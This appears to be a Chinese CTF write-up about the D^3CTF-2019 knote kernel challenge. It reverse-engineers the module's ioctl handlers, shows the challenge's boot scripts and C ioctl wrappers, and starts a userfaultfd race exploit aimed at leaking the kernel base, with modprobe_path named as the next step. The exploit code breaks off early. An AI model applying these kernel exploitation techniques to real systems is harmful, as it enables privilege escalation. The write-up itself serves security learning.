Kernel pwn 入门 (7)

本文介绍了一种名为Knote的攻防挑战,通过分析ko文件和ioctl函数,利用userfaultfd和modprobe_path漏洞获取内核基地址并最终读取flag。

本篇文章中,我们会练习回顾上一篇文章中学到的userfaultfd利用方式,同时学习一种新的利用方式:modprobe_path。使用的例题是:D^3CTF-2019 knote,需要两种利用配合使用。下面我们对本题进行分析。题目下载地址:下载。再次感谢Arttnba3师傅的博客。

0x1: .ko文件分析

当然,在利用之前,我们首先还是需要将这个ko文件过一遍。

file_operations


可以看到fops中定义有ioctl函数和open函数的入口,另外由于release函数的起始地址为0,因此这里的所有0都可以看做release函数入口。

ioctl

分析ioctl函数可知,一共定义了以下几种入口:

cmd=0x2333: 执行get函数
cmd=0x1337: 执行add函数
cmd=0x6666: 执行dele函数
cmd=0x8888: 执行edit函数

get


出现了一个mychunk的东西,因此本题和堆有关系。前面if的意思应该是所有chunk的数量不能超过9。在函数中还出现了一个copy_user_generic_unrolled函数,查看源码可知其第一个参数是dest,第二个参数是src,第三个参数是count,和copy_to_usercopy_from_user功能相似。这里看到ptr实际上是get函数的第二个参数,因此也就是将第二个参数(用户地址)中的内容拷贝到mychunk.ptr中。


这就是chunk的结构,其中_anon_0的名字很长的类型是一个联合体,有sizeidx两个类型可以表示,为方便将类型名改为info

因此,get函数就是从用户内存中拷贝内容到分配好的chunk中。

add


add函数中,可以看到在一开始加了一个读锁。在之后又加了一个写锁。

函数中还调用了_InterlockedExchangeAdd函数,笔者查到的文章中关于这个函数都是Windows下的API,大概的含义是线程互锁下的相加操作。这里将读写锁的值减去200,原因暂时未知。

之后则是通过kmalloc进行内核堆空间分配,后面的my_rwlock.raw_lock._anon_0._anon_0.wlocked = 0;应该表示的是解除写锁。

dele


堆空间释放函数同样使用了读写锁,在释放之后将sizeptr均清空。

edit


这里同样使用了copy_user_generic_unrolled这个函数,但根据参数来判断,这里应该是和copy_to_user函数的含义相同。

knote_open


在这个函数中,通过raw_write_lock函数设定my_rwlock为写锁,不允许其他线程读写in_use

0x2. init和start.sh文件分析

#!/bin/sh
echo "{==DBG==} INIT SCRIPT"

mount -t proc none /proc
mount -t sysfs none /sys
mkdir /dev/pts
mount -t devpts devpts /dev/pts

mdev -s
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
insmod note.ko
mknod /dev/knote c 10 233
chmod 666 /dev/knote
chmod 666 /dev/ptmx
chown 0:0 /flag
chmod 400 /flag

poweroff -d 120 -f &

chroot . setuidgid 1000 /bin/sh #normal user


umount /proc
umount /sys
poweroff -d 0  -f

在init文件中,有一些常规的保护措施,如这里的kptr_restrictdmesg_restrict,都设为1表示对普通用户有限制作用而对root用户没有,因此调试时修改为root用户可以查看kallsyms文件。与之前的题一样,在调试时通过将uid改为0方便调试。

#!/bin/sh
cd /home/ctf
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null \
-smp cores=2,threads=1 \
-cpu qemu64,+smep,+smap

在start.sh文件中,可以看到开启了kaslr、smp保护。添加上-s选项以供调试。

0x3. 交互编写

通过ioctl函数可知,mychunk实际上就是我们传入ioctl函数的第三个参数,这个chunk结构体会被根据不同的函数进行不同的操作。因此我们可以先将程序的交互写好,再去分析具体的漏洞。

#define GET 0x2333
#define ADD 0x1337
#define EDIT 0x8888
#define DEL 0x6666

int fd;

void get(int index, char* buffer){
   
   
    input in = {
   
   
            .info = {
   
   
                    .index = index,
            },
            .buf = buffer,
    };
    ioctl(fd, GET, &in);
}

void add(int size){
   
   
    input in = {
   
   
            .info = {
   
   
                    .size = size,
            },
    };
    ioctl(fd, ADD, &in);
}

void dele(int index){
   
   
    input in = {
   
   
            .info = {
   
   
                    .index = index,
            }
    };
    ioctl(fd, DEL, &in);
}

void edit(int index, char* buffer){
   
   
    input in = {
   
   
            .info = {
   
   
                    .index = index,
            },
            .buf = buffer,
    };
    ioctl(fd, EDIT, &in);
}

0x4. 漏洞分析与利用

1. 通过userfaultfd获取内核基地址

在本题中,核心的操作就是getaddeditdele这4个。其中getedit函数没有加锁,deleadd都加了写锁。通过getedit函数可以传入一个mmap出来的用户空间,然后触发userfaultfd。那么在条件竞争的这个时间窗口,我们又需要做什么呢?和上一题相似,也是重复打开/dev/ptmx文件,尝试使用同样的方法进行利用。下面是我们的第一个测试程序(kernel.h请参考资料中提到的通用kernel pwn板子,print_binary请参考笔者之前的kernel pwn文章):

//
// Created by ubuntu on 22-10-5.
//
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "kernel.h"

typedef struct input{
   
   
    union{
   
   
        size_t size;
        size_t index;
    }info;
    char* buf;
}input;

#define GET 0x2333
#define ADD 0x1337
#define EDIT 0x8888
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值